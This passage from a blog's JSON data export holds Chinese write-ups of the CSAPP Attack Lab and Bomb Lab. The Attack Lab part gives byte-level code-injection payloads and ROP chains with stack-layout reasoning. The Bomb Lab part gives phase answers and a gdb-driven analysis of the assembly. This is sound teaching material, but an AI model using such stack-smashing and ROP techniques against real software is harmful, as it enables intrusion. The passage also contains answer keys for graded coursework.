class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br><span class=\"line\">13</span><br><span class=\"line\">14</span><br><span class=\"line\">15</span><br><span class=\"line\">16</span><br><span class=\"line\">17</span><br><span class=\"line\">18</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">ec <span class=\"number\">17</span> <span class=\"number\">40</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> </span><br><span class=\"line\"><span class=\"comment\">/* touch2的地址 */</span></span><br><span class=\"line\"></span><br><span class=\"line\"><span class=\"number\">48</span> <span class=\"number\">83</span> ec <span class=\"number\">30</span></span><br><span class=\"line\"><span class=\"comment\">/* sub $0x30, %rsp */</span></span><br><span class=\"line\"></span><br><span class=\"line\"><span class=\"number\">48</span> c7 c7 fa <span class=\"number\">97</span> b9 <span class=\"number\">59</span> </span><br><span class=\"line\"><span class=\"comment\">/* mov $0x59b997fa,%rdi（我用的self-study版本的cookie是0x59b997fa）*/</span></span><br><span class=\"line\"></span><br><span class=\"line\">c3 <span class=\"comment\">/* retq */</span></span><br><span class=\"line\"></span><br><span class=\"line\">aa aa aa aa aa aa aa aa</span><br><span class=\"line\">aa aa aa aa aa aa aa aa </span><br><span class=\"line\">aa aa aa aa </span><br><span class=\"line\"><span class=\"comment\">/* 填充的字符串 */</span></span><br><span class=\"line\"></span><br><span class=\"line\"><span class=\"number\">80</span> dc <span class=\"number\">61</span> <span class=\"number\">55</span></span><br><span class=\"line\"><span class=\"comment\">/* 上面的sub $0x30, %rsp指令的地址，也就是getbuf本身的ret要跳转过去的地址 */</span></span><br></pre></td></tr></table></figure>\n<h4 id=\"思路-1\"><a href=\"#思路-1\" class=\"headerlink\" title=\"思路\"></a>思路</h4><ul>\n<li>需要传一个int参数，字符串里有可执行代码，覆盖返回地址的位置，让ret跳转到我们插进去的代码的位置</li>\n<li>需要注意ret读取的是rsp指示的栈顶的位置，所以为了让我们自己传进去的ret能够ret到touch2的地址，需要设置rsp使之指向touch2的地址</li>\n</ul>\n<h3 id=\"第三题\"><a href=\"#第三题\" class=\"headerlink\" title=\"第三题\"></a>第三题</h3><h4 id=\"答案-2\"><a href=\"#答案-2\" class=\"headerlink\" title=\"答案\"></a>答案</h4><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br><span class=\"line\">13</span><br><span class=\"line\">14</span><br><span class=\"line\">15</span><br><span class=\"line\">16</span><br><span class=\"line\">17</span><br><span class=\"line\">18</span><br><span class=\"line\">19</span><br><span class=\"line\">20</span><br><span class=\"line\">21</span><br><span class=\"line\">22</span><br><span class=\"line\">23</span><br><span class=\"line\">24</span><br><span class=\"line\">25</span><br><span class=\"line\">26</span><br><span class=\"line\">27</span><br><span class=\"line\">28</span><br><span class=\"line\">29</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">fa <span class=\"number\">18</span> <span class=\"number\">40</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> </span><br><span class=\"line\"><span class=\"comment\">/* touch3 addr, in 0x5561dc78 */</span></span><br><span class=\"line\"></span><br><span class=\"line\"><span class=\"number\">48</span> <span class=\"number\">83</span> ec <span class=\"number\">30</span> </span><br><span class=\"line\"><span class=\"comment\">/* sub $0x30,%rsp, in 0x5561dc80 */</span></span><br><span class=\"line\"></span><br><span class=\"line\"><span class=\"number\">48</span> c7 c7 <span class=\"number\">90</span> dc <span class=\"number\">61</span> <span class=\"number\">55</span> </span><br><span class=\"line\"><span class=\"comment\">/* mov $0x5561dc90,%rdi */</span></span><br><span class=\"line\"></span><br><span class=\"line\">c3 </span><br><span class=\"line\"><span class=\"comment\">/* retq will ret to 0x5561dc78 */</span> </span><br><span class=\"line\"></span><br><span class=\"line\"><span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> </span><br><span class=\"line\"><span class=\"comment\">/*fill the extra space */</span></span><br><span class=\"line\"></span><br><span class=\"line\"><span class=\"number\">35</span> <span class=\"number\">39</span> <span class=\"number\">62</span> <span class=\"number\">39</span> <span class=\"number\">39</span> <span class=\"number\">37</span> <span class=\"number\">66</span> <span class=\"number\">61</span>\t<span class=\"number\">00</span>\t</span><br><span class=\"line\"><span class=\"comment\">/* string \"59b997fa\" ，in 0x5561dc90 */</span></span><br><span class=\"line\"></span><br><span class=\"line\">aa aa aa aa aa aa aa </span><br><span class=\"line\"><span class=\"comment\">/* fill the extra space */</span> </span><br><span class=\"line\"></span><br><span class=\"line\"><span class=\"number\">80</span> dc <span class=\"number\">61</span> <span class=\"number\">55</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> </span><br><span class=\"line\"><span class=\"comment\">/* 0x5561dc80, our code's begin addr */</span></span><br><span class=\"line\"></span><br><span class=\"line\"><span class=\"comment\">/* </span></span><br><span class=\"line\"><span class=\"comment\">* just before our attack code is run, </span></span><br><span class=\"line\"><span class=\"comment\">* rsp == 0x5561dca0 </span></span><br><span class=\"line\"><span class=\"comment\">* return addr in 0x5561dca0</span></span><br><span class=\"line\"><span class=\"comment\">*/</span></span><br></pre></td></tr></table></figure>\n<h4 id=\"思路-2\"><a href=\"#思路-2\" class=\"headerlink\" title=\"思路\"></a>思路</h4><ul>\n<li>比第二题只多了一个“需要在栈上放置字符串”，需要注意的是，字符串放在栈上，那么rsp就应该小于这个字符串的最低位置，否则下一个函数如果读写栈帧，就会破坏字符串</li>\n<li>然后覆盖getbuf的存放返回地址的区域，使之跳转到我们插入的代码段的起始位置，也就是0x5561dc80</li>\n<li>接着分配栈空间，然后把string的地址传给rdi，然后ret到touch3。需要注意，ret从栈顶读取返回地址，所以touch3的地址放在栈顶</li>\n</ul>\n<h3 id=\"第四题\"><a href=\"#第四题\" class=\"headerlink\" title=\"第四题\"></a>第四题</h3><h4 id=\"答案-3\"><a href=\"#答案-3\" class=\"headerlink\" title=\"答案\"></a>答案</h4><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br><span class=\"line\">13</span><br><span class=\"line\">14</span><br><span class=\"line\">15</span><br><span class=\"line\">16</span><br><span class=\"line\">17</span><br><span class=\"line\">18</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">aa aa aa aa aa aa aa aa</span><br><span class=\"line\">aa aa aa aa aa aa aa aa </span><br><span class=\"line\">aa aa aa aa aa aa aa aa </span><br><span class=\"line\">aa aa aa aa aa aa aa aa </span><br><span class=\"line\">aa aa aa aa aa aa aa aa</span><br><span class=\"line\"><span class=\"comment\">/* this five line fill the buf */</span></span><br><span class=\"line\"></span><br><span class=\"line\">cc <span class=\"number\">19</span> <span class=\"number\">40</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span>\t</span><br><span class=\"line\"><span class=\"comment\">/* 0x4019cc\t pop %rax; nop; ret */</span></span><br><span class=\"line\"></span><br><span class=\"line\">fa <span class=\"number\">97</span> b9 <span class=\"number\">59</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span>\t</span><br><span class=\"line\"><span class=\"comment\">/* 0x59b997fa */</span></span><br><span class=\"line\"></span><br><span class=\"line\">a2 <span class=\"number\">19</span> <span class=\"number\">40</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span>\t</span><br><span class=\"line\"><span class=\"comment\">/* 0x4019a2\t movq %rax, %rdi; ret */</span></span><br><span class=\"line\"></span><br><span class=\"line\">ec <span class=\"number\">17</span> <span class=\"number\">40</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span>\t</span><br><span class=\"line\"><span class=\"comment\">/* touch2 0x4017ec */</span></span><br></pre></td></tr></table></figure>\n<h4 id=\"思路-3\"><a href=\"#思路-3\" class=\"headerlink\" title=\"思路\"></a>思路</h4><ul>\n<li>构造rop链，在0x4019ca处有<code>b8 29 58 90 c3 mov $0xc3905829,%eax</code>，观察字节码，在0x4019cc处的<code>58</code>是<code>pop rax</code>，从而，把cookie放在栈顶，然后调用这条指令，就可以把参数转移到rax</li>\n<li>在0x4019a0有<code>8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax</code>，观察字节码，0x4019a2处有<code>48 89 c7</code>，也就是<code>mov %rax, %rdi</code>，从而把参数从rax转移到rdi，然后直接跳转过去touch2就可以了</li>\n</ul>\n<h3 id=\"第五题\"><a href=\"#第五题\" class=\"headerlink\" title=\"第五题\"></a>第五题</h3><h4 id=\"答案-4\"><a href=\"#答案-4\" class=\"headerlink\" title=\"答案\"></a>答案</h4><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br><span class=\"line\">13</span><br><span class=\"line\">14</span><br><span class=\"line\">15</span><br><span class=\"line\">16</span><br><span class=\"line\">17</span><br><span class=\"line\">18</span><br><span class=\"line\">19</span><br><span class=\"line\">20</span><br><span class=\"line\">21</span><br><span class=\"line\">22</span><br><span class=\"line\">23</span><br><span class=\"line\">24</span><br><span class=\"line\">25</span><br><span class=\"line\">26</span><br><span class=\"line\">27</span><br><span class=\"line\">28</span><br><span class=\"line\">29</span><br><span class=\"line\">30</span><br><span class=\"line\">31</span><br><span class=\"line\">32</span><br><span class=\"line\">33</span><br><span class=\"line\">34</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">aa aa aa aa aa aa aa aa</span><br><span class=\"line\">aa aa aa aa aa aa aa aa</span><br><span class=\"line\">aa aa aa aa aa aa aa aa</span><br><span class=\"line\">aa aa aa aa aa aa aa aa</span><br><span class=\"line\">aa aa aa aa aa aa aa aa\t\t</span><br><span class=\"line\"><span class=\"comment\">/* this five lines fill space of buf */</span></span><br><span class=\"line\"></span><br><span class=\"line\"><span class=\"number\">17</span> <span class=\"number\">2b</span> <span class=\"number\">40</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span>\t \t</span><br><span class=\"line\"><span class=\"comment\">/* 402b17, pop rsi,ret to this, assume that rsp is K */</span></span><br><span class=\"line\"></span><br><span class=\"line\"><span class=\"number\">20</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span>\t</span><br><span class=\"line\"><span class=\"comment\">/* the data pop to rsi */</span></span><br><span class=\"line\"></span><br><span class=\"line\"><span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span>\t</span><br><span class=\"line\"><span class=\"comment\">/* the data are pop to r15 */</span></span><br><span class=\"line\"><span class=\"comment\">/* after all pop, rsp is K+16 */</span></span><br><span class=\"line\"></span><br><span class=\"line\"><span class=\"number\">06</span> <span class=\"number\">1</span>a <span class=\"number\">40</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span>\t\t</span><br><span class=\"line\"><span class=\"comment\">/* 401a06, movq rsp, rax, ret to here, rsp is K+24 */</span></span><br><span class=\"line\"></span><br><span class=\"line\">a2 <span class=\"number\">19</span> <span class=\"number\">40</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span>\t\t</span><br><span class=\"line\"><span class=\"comment\">/* 4019a2, movq rax, rdi */</span></span><br><span class=\"line\"></span><br><span class=\"line\">d6 <span class=\"number\">19</span> <span class=\"number\">40</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span>\t\t</span><br><span class=\"line\"><span class=\"comment\">/* 4019d6, lea(%rdi,%rsi,1),%rax , then string addr in rax */</span></span><br><span class=\"line\"></span><br><span class=\"line\">c5 <span class=\"number\">19</span> <span class=\"number\">40</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span>\t\t</span><br><span class=\"line\"><span class=\"comment\">/* 4019c5, mov rax, rdi */</span></span><br><span class=\"line\"></span><br><span class=\"line\">fa <span class=\"number\">18</span> <span class=\"number\">40</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span>\t\t</span><br><span class=\"line\"><span class=\"comment\">/* 4018fa touch3 */</span></span><br><span class=\"line\"></span><br><span class=\"line\"><span class=\"number\">35</span> <span class=\"number\">39</span> <span class=\"number\">62</span> <span class=\"number\">39</span> <span class=\"number\">39</span> <span class=\"number\">37</span> <span class=\"number\">66</span> <span class=\"number\">61</span>\t<span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span>\t</span><br><span class=\"line\"><span class=\"comment\">/* 0x59b997fa in here */</span></span><br></pre></td></tr></table></figure>\n<h4 id=\"思路-4\"><a href=\"#思路-4\" class=\"headerlink\" title=\"思路\"></a>思路</h4><ul>\n<li><p>把字符串放在栈上，并且因为每次ret都会释放8字节，为了避免后面的函数使用栈而破坏字符串，应该把字符串放在rop链之后</p>\n</li>\n<li><p>用rsp构造出字符串的地址，这时候需要add或sub等算术指令或lea这个内存计算指令。找来找去，只有位于 0x4019d6的<code>lea (%rdi,%rsi,1),%rax</code>符合要求</p>\n</li>\n<li><p>为了使用lea，需要把运行到某条指令时的rsp跟字符串位置的偏移量传给rsi。这里我们使用pop指令，在0x402b16找到<code>pop %r14</code>，该指令第二个字节<code>5e</code>是<code>pop %rsi</code>，因为该指令跟ret之间还有<code>pop %r15</code>，所以栈上的数据应该是16个字节，前8个字节的数据pop给%rsi（该数据的计算在后文），后8个字节给%r15，后8个字节的数据随意构造即可。</p>\n<blockquote>\n<p>r15是callee-saved寄存器，被调用函数不应该使用寄存器原本的值，所以r15等价于C语言函数内的局部自动变量（非参数），并且getbuf函数被我们攻击前其本身的指令已经执行完了，此时破坏r15的值不会影响getbuf。（以上只是本人目前所知的r15的相关信息推断的，或许r15还有其他跨函数的用途？？）</p>\n</blockquote>\n</li>\n<li><p>之后用多个mov，实现rsp mov到rax再mov到rdi</p>\n</li>\n<li><p>然后调用ret到lea指令，这时候，rax保存着字符串的起始地址，然后再把rax mov到rdi</p>\n</li>\n<li><p>接着就是touch3的地址，让<code>mov rax rdi</code>下面那条ret直接跳转到touch3，攻击成功</p>\n</li>\n</ul>\n<h3 id=\"几个注意点\"><a href=\"#几个注意点\" class=\"headerlink\" title=\"几个注意点\"></a>几个注意点</h3><ul>\n<li>用vim的16进制编辑模式要加在打开vim时加<code>-b</code>，否则，会把诸如<code>c0</code>这一类大于<code>0x3f</code>的不属于ascii范围的字符修改成<code>3f</code></li>\n</ul>\n<ul>\n<li>ret指令前释放栈帧，ret指令后rsp又加上8，所以设置字符串时如果操作rsp，需要考虑ret释放的8字节</li>\n<li>指令的机器码放在栈上时不需要按照字节逆序排放。并且下一条指令相对于当前指令是放在更高的地址而不是更低的地址</li>\n<li>ret指令从rsp指定的位置读出8字节的信息，所以设置跳转地址时也要对高4byte进行设置</li>\n<li>注意gets遇到编码为0xFF的字符时不会终止读取</li>\n</ul>\n","slug":"CSAPP-Attack-Lab","categories":[{"name":"CSAPP","slug":"CSAPP","permalink":"https://h-zex.github.io/categories/CSAPP/"}],"tags":[{"name":"CSAPP Lab","slug":"CSAPP-Lab","permalink":"https://h-zex.github.io/tags/CSAPP-Lab/"}]},{"title":"CSAPP Bomb Lab","date":"2017-09-14T18:04:11.000Z","path":"2017/09/15/CSAPP-Bomb-Lab/","text":"CSAPP Bomb Lab答案 Border relations with Canada have never been better. 1 2 4 8 16 32 多个答案 0 207 1 311 2 707 3 256 4 389 5 206 6 682 7 327 应该有多个答案 7 0 一个6个字符的字符串，字符串的ascii值依次为 $9+k\\times16$ $15+k\\times16$ $14+k\\times16$ $5+k\\times16$ $6+k\\times16$ $7+k\\times16$ 4 3 2 1 6 5 第一题解答思路 string_not_equal函数比对(0x402400)位置的string与输入的string 直接运行gdb，print (char*)0x402400即可 不需要读完string_not_equal函数，可以猜测0x402400就是要找的，然后一试就过了。不过也不可以绝对相信函数名，或许出题人骗我们呢 2333 第二题解答思路 汇编代码显示，调用read_six_numbers读入6个数字，放在从栈底开始的24个字节里。测试第一个是否为1，用循环测试后一个是否是前一个的2倍。所以直接输入1 2 4 8 16 32即可AC 第三题解题思路 12345lea 0xc(%rsp),%rcx //rcx=12+rsplea 0x8(%rsp),%rdx //rdx=8+rspmov $0x4025cf,%esi //%d %dmov $0x0,%eaxcallq 400bf0 <__isoc99_sscanf@plt> 从调用sscanf前的寄存器准备工作中看出，%esi放着格式字符串，用gdbprint (char*)0x4025cf打印出"%d %d" 然后测试读入的第一个数字是否大于7，如果是，explode_bomb 然后就是一个switch，用gdbx/14w 0x402470打印出 12340x402470: 0x00400f7c 0x00000000 0x00400fb9 0x000000000x402480: 0x00400f83 0x00000000 0x00400f8a 0x000000000x402490: 0x00400f91 0x00000000 0x00400f98 0x000000000x4024a0: 0x00400f9f 0x00000000 按照对应关系确定第二个读入的数字即可 第四题解题思路 同样是用sscanf读入两个数字 由于逻辑比较复杂，但是反编译比较简单，可以直接反编译得到结果 第五题解题思路 12callq 40131b <string_length>cmp $0x6,%eax 读入6个字符的字符串 123456movzbl (%rbx,%rax,1),%ecxmov %cl,(%rsp)mov (%rsp),%rdxand $0xf,%edxmovzbl 0x4024b0(%rdx),%edxmov %dl,0x10(%rsp,%rax,1) 提取每个字符的ascii的低4bits，放在edx里，然后从0x4024b0+edx的位置读入数据放在栈上 123mov $0x40245e,%esilea 0x10(%rsp),%rdicallq 401338 <strings_not_equal> 后面调用了strings_not_equal，比对0x40245e处的字符串及我们放在栈上的数据。 用gdb分别打印0x4024b0 0x40245e处的字符串，获得 maduiersnfotvbylSo you think you can stop the bomb with ctrl-c, do you? flyers 此时可以知道，前面提取数据时，是以我们输入的字符的低4bit的数值为偏移量，从0x4024b0开始的字符串按照偏移量提取字符放在栈上，然后与flyers比对。偏移量依次为$9\\ 15\\ 14\\ 5\\ 6\\ 7$ 但是这些字符不可打印出来，所以我们需要加上$16\\times k$来获得可打印的字符 第六题一些心得 不要尝试完整的人肉反汇编成C，而是大概知道哪段代码有哪些功能，然后用gdb调试，看看猜的对不对。比如本题以下代码 1234567891011#from 代码段的401153lea 0x18(%rsp),%rsimov %r14,%raxmov $0x7,%ecxmov %ecx,%edxsub (%rax),%edxmov %edx,(%rax)add $0x4,%raxcmp %rsi,%raxjne 401160 <phase_6+0x6c> 大概知道是改变读入的数字的值，但是不确定确切功能，这时候可以在用gdb，在读入之后的地方设断点，打印这块内存区域的多个字节的值，然后再在这段代码执行后的地方设断点，打印值，观察变化，结合汇编代码，更加容易知道其功能 安利一个gdb插件peda，大大提高gdb的用户体验 解题思路 整段代码分为 个部分 0x4010fc 到 0x401106：读入6个数值 0x40110b 到 0x401151：一个大循环，对读入的数字的合法性进行检查，要求读入的数字的取值范围是$[1,6]$，并且相互之间不相等。（这时候或许就可以暴力了233333） 0x401153 到 0x40116d：另一个循环，对输入的数字顺序进行调整。（一开始想着直接看汇编，但是出错了，后来用gdb调试，很容易就看到了这个特性） 0x401176 到 0x4011a9：一个大循环把链表的node的地址按照一定顺序写到栈上（里面有多个小循环、跳转，比较复杂）。通过大概的反汇编、gdb打印该段代码执行前后内存的值、猜测、测试不同的输入的数字序列，获得该段的功能。 其中，该段中把关于0x6032d0的值写入栈中，所以用gdb命令x/30w 0x6032d0打印改地址附近的多个字节，结果如下 1234560x6032d0 <node1>: 0x0000014c 0x00000001 0x006032e0 0x000000000x6032e0 <node2>: 0x000000a8 0x00000002 0x006032f0 0x000000000x6032f0 <node3>: 0x0000039c 0x00000003 0x00603300 0x000000000x603300 <node4>: 0x000002b3 0x00000004 0x00603310 0x000000000x603310 <node5>: 0x000001dd 0x00000005 0x00603320 0x000000000x603320 <node6>: 0x000001bb 0x00000006 0x00000000 0x00000000 可以看到有6个node，每个node的第三个字节都对应另一个node的地址，很明显，这是一个链表。 由此可以知道该段代码的功能为把node的地址写在栈上，地址在栈上的排列顺序由读入的数字确定。当然，读入的数字的顺序在前面的一段代码被处理了，所以直接从汇编了解其逻辑比较难，还是用gdb打印该段代码执行后的值，并且尝试改变输入的数字的顺序来确定该段的逻辑。 node地址在栈上关于读入的数字的分布规则为 node地址越大，对应的数字越小，1对应0x603320，2对应0x603310，3对应0x603300，4对应0x6032f0，5对应0x6032e0，6对应0x6032d0 node地址按照读入数字的顺序，排列在栈上。 0x4011ab 到 0x4011d9：该段从%rsp+0x20开始，读入前面写到栈上的node地址，然后写到上一个节点的偏移量为8bit的位置，也就是node里存放next node的指针的位置。其实就是按照栈上node地址的排列顺序重新排列链表里node的顺序，其等价的C代码如下： 12345678910111213141516171819struct node{ int num; int index; node *next;};node **next = %rsp+0x28;node **endnode = %rsp+0x50;node *currentnode = *(%rsp+0x20);node *temp;while(1){ temp = *next; currentnode->next = temp; next += 1; //in fact, it add 8 bytes; if(endnode==next) break; currentnode = temp;}temp->next = null; 0x4011df 到 0x4011f5：依次访问链表的节点，判断是否有后一个节点的数据大于前一个的情况，如果有，bomb。","raw":"---\ntitle: CSAPP Bomb Lab\ntoc: false\ncomments: true\nmathjax: true\ndate: 2017-09-15 02:04:11\ntags:\n- CSAPP Lab\ndescription: CSAPP 炸弹实验的解答\ncategories:\n- CSAPP\n---\n\n# CSAPP Bomb Lab\n\n### 答案\n\n1. Border relations with Canada have never been better.\n2. 1 2 4 8 16 32\n3. 多个答案\n - 0 207\n - 1 311\n - 2 707\n - 3 256\n - 4 389\n - 5 206\n - 6 682\n - 7 327\n4. *应该有多个答案*\n - 7 0\n5. 一个6个字符的字符串，字符串的ascii值依次为\n - $9+k\\times16$ \n - $15+k\\times16$\n - $14+k\\times16$\n - $5+k\\times16$\n - $6+k\\times16$\n - $7+k\\times16$\n6. 4 3 2 1 6 5\n\n### 第一题\n\n#### 解答思路\n\n- string_not_equal函数比对(0x402400)位置的string与输入的string\n- 直接运行gdb，`print (char*)0x402400`即可\n- *不需要读完string_not_equal函数，可以猜测0x402400就是要找的，然后一试就过了。不过也不可以绝对相信函数名，或许出题人骗我们呢 2333*\n\n### 第二题\n\n#### 解答思路\n\n- 汇编代码显示，调用read_six_numbers读入6个数字，放在从栈底开始的24个字节里。测试第一个是否为1，用循环测试后一个是否是前一个的2倍。所以直接输入`1 2 4 8 16 32`即可AC\n\n### 第三题\n\n#### 解题思路\n\n- ```assembly\n lea 0xc(%rsp),%rcx //rcx=12+rsp\n lea 0x8(%rsp),%rdx //rdx=8+rsp\n mov $0x4025cf,%esi //%d %d\n mov $0x0,%eax\n callq 400bf0 <__isoc99_sscanf@plt>\n ```\n\n 从调用sscanf前的寄存器准备工作中看出，%esi放着格式字符串，用gdb`print (char*)0x4025cf`打印出`\"%d %d\"`\n\n- 然后测试读入的第一个数字是否大于7，如果是，explode_bomb\n\n- 然后就是一个switch，用gdb`x/14w 0x402470`打印出\n\n ```assembly\n 0x402470:\t0x00400f7c\t0x00000000\t0x00400fb9\t0x00000000\n 0x402480:\t0x00400f83\t0x00000000\t0x00400f8a\t0x00000000\n 0x402490:\t0x00400f91\t0x00000000\t0x00400f98\t0x00000000\n 0x4024a0:\t0x00400f9f\t0x00000000\n ```\n\n 按照对应关系确定第二个读入的数字即可\n\n### 第四题\n\n#### 解题思路\n\n- 同样是用sscanf读入两个数字\n- 由于逻辑比较复杂，但是反编译比较简单，可以直接反编译得到结果\n\n### 第五题\n\n#### 解题思路\n\n- ```assembly\n callq 40131b <string_length>\n cmp $0x6,%eax\n ```\n\n 读入6个字符的字符串\n\n- ```assembly\n movzbl (%rbx,%rax,1),%ecx\n mov %cl,(%rsp)\n mov (%rsp),%rdx\n and $0xf,%edx\n movzbl 0x4024b0(%rdx),%edx\n mov %dl,0x10(%rsp,%rax,1)\n ```\n\n 提取每个字符的ascii的低4bits，放在`edx`里，然后从`0x4024b0+edx`的位置读入数据放在栈上\n\n- ```assembly\n mov $0x40245e,%esi\n lea 0x10(%rsp),%rdi\n callq 401338 <strings_not_equal>\n ```\n\n 后面调用了strings_not_equal，比对0x40245e处的字符串及我们放在栈上的数据。\n\n- 用gdb分别打印0x4024b0 0x40245e处的字符串，获得\n\n - `maduiersnfotvbylSo you think you can stop the bomb with ctrl-c, do you?`\n - `flyers`\n\n- 此时可以知道，前面提取数据时，是以我们输入的字符的低4bit的数值为偏移量，从0x4024b0开始的字符串按照偏移量提取字符放在栈上，然后与`flyers`比对。偏移量依次为$9\\ 15\\ 14\\ 5\\ 6\\ 7$\n\n- 但是这些字符不可打印出来，所以我们需要加上$16\\times k$来获得可打印的字符\n\n### 第六题\n\n#### 一些心得\n\n- 不要尝试完整的人肉反汇编成C，而是大概知道哪段代码有哪些功能，然后用gdb调试，看看猜的对不对。比如本题以下代码\n\n ```assembly\n #from 代码段的401153\n lea 0x18(%rsp),%rsi\n mov %r14,%rax\n mov $0x7,%ecx\n\n mov %ecx,%edx\n sub (%rax),%edx\n mov %edx,(%rax)\n add $0x4,%rax\n cmp %rsi,%rax\n jne 401160 <phase_6+0x6c>\n ```\n\n 大概知道是改变读入的数字的值，但是不确定确切功能，这时候可以在用gdb，在读入之后的地方设断点，打印这块内存区域的多个字节的值，然后再在这段代码执行后的地方设断点，打印值，观察变化，结合汇编代码，更加容易知道其功能\n\n- 安利一个gdb插件[peda](https://github.com/longld/peda)，大大提高gdb的用户体验\n\n#### 解题思路\n\n- 整段代码分为 个部分\n\n - 0x4010fc 到 0x401106：读入6个数值\n\n - 0x40110b 到 0x401151：一个大循环，对读入的数字的合法性进行检查，要求读入的数字的取值范围是$[1,6]$，并且相互之间不相等。（这时候或许就可以暴力了233333）\n\n - 0x401153 到 0x40116d：另一个循环，对输入的数字顺序进行调整。（一开始想着直接看汇编，但是出错了，后来用gdb调试，很容易就看到了这个特性）\n\n - 0x401176 到 0x4011a9：一个大循环把链表的node的地址按照一定顺序写到栈上（里面有多个小循环、跳转，比较复杂）。通过大概的反汇编、gdb打印该段代码执行前后内存的值、猜测、测试不同的输入的数字序列，获得该段的功能。\n\n 其中，该段中把关于0x6032d0的值写入栈中，所以用gdb命令`x/30w 0x6032d0`打印改地址附近的多个字节，结果如下\n\n ```assembly\n 0x6032d0 <node1>:\t0x0000014c\t0x00000001\t0x006032e0\t0x00000000\n 0x6032e0 <node2>:\t0x000000a8\t0x00000002\t0x006032f0\t0x00000000\n 0x6032f0 <node3>:\t0x0000039c\t0x00000003\t0x00603300\t0x00000000\n 0x603300 <node4>:\t0x000002b3\t0x00000004\t0x00603310\t0x00000000\n 0x603310 <node5>:\t0x000001dd\t0x00000005\t0x00603320\t0x00000000\n 0x603320 <node6>:\t0x000001bb\t0x00000006\t0x00000000\t0x00000000\n ```\n\n 可以看到有6个node，每个node的第三个字节都对应另一个node的地址，很明显，这是一个链表。\n\n 由此可以知道该段代码的功能为**把node的地址写在栈上，地址在栈上的排列顺序由读入的数字确定**。当然，读入的数字的顺序在前面的一段代码被处理了，所以直接从汇编了解其逻辑比较难，还是用gdb打印该段代码执行后的值，并且尝试改变输入的数字的顺序来确定该段的逻辑。\n\n **node地址在栈上关于读入的数字的分布规则为**\n\n - node地址越大，对应的数字越小，1对应0x603320，2对应0x603310，3对应0x603300，4对应0x6032f0，5对应0x6032e0，6对应0x6032d0\n - node地址按照读入数字的顺序，排列在栈上。\n\n - 0x4011ab 到 0x4011d9：该段从`%rsp+0x20`开始，读入前面写到栈上的node地址，然后写到上一个节点的偏移量为8bit的位置，也就是node里存放next node的指针的位置。其实就是按照栈上node地址的排列顺序重新排列链表里node的顺序，其等价的C代码如下：\n\n ```c\n struct node{\n \tint num;\n \tint index;\n \tnode *next;\n };\n\n node **next = %rsp+0x28;\n node **endnode = %rsp+0x50;\n node *currentnode = *(%rsp+0x20);\n node *temp;\n while(1){\n \ttemp = *next;\n \tcurrentnode->next = temp;\n \tnext += 1;\t//in fact, it add 8 bytes;\n \tif(endnode==next)\n \t\tbreak;\n \tcurrentnode = temp;\n }\n temp->next 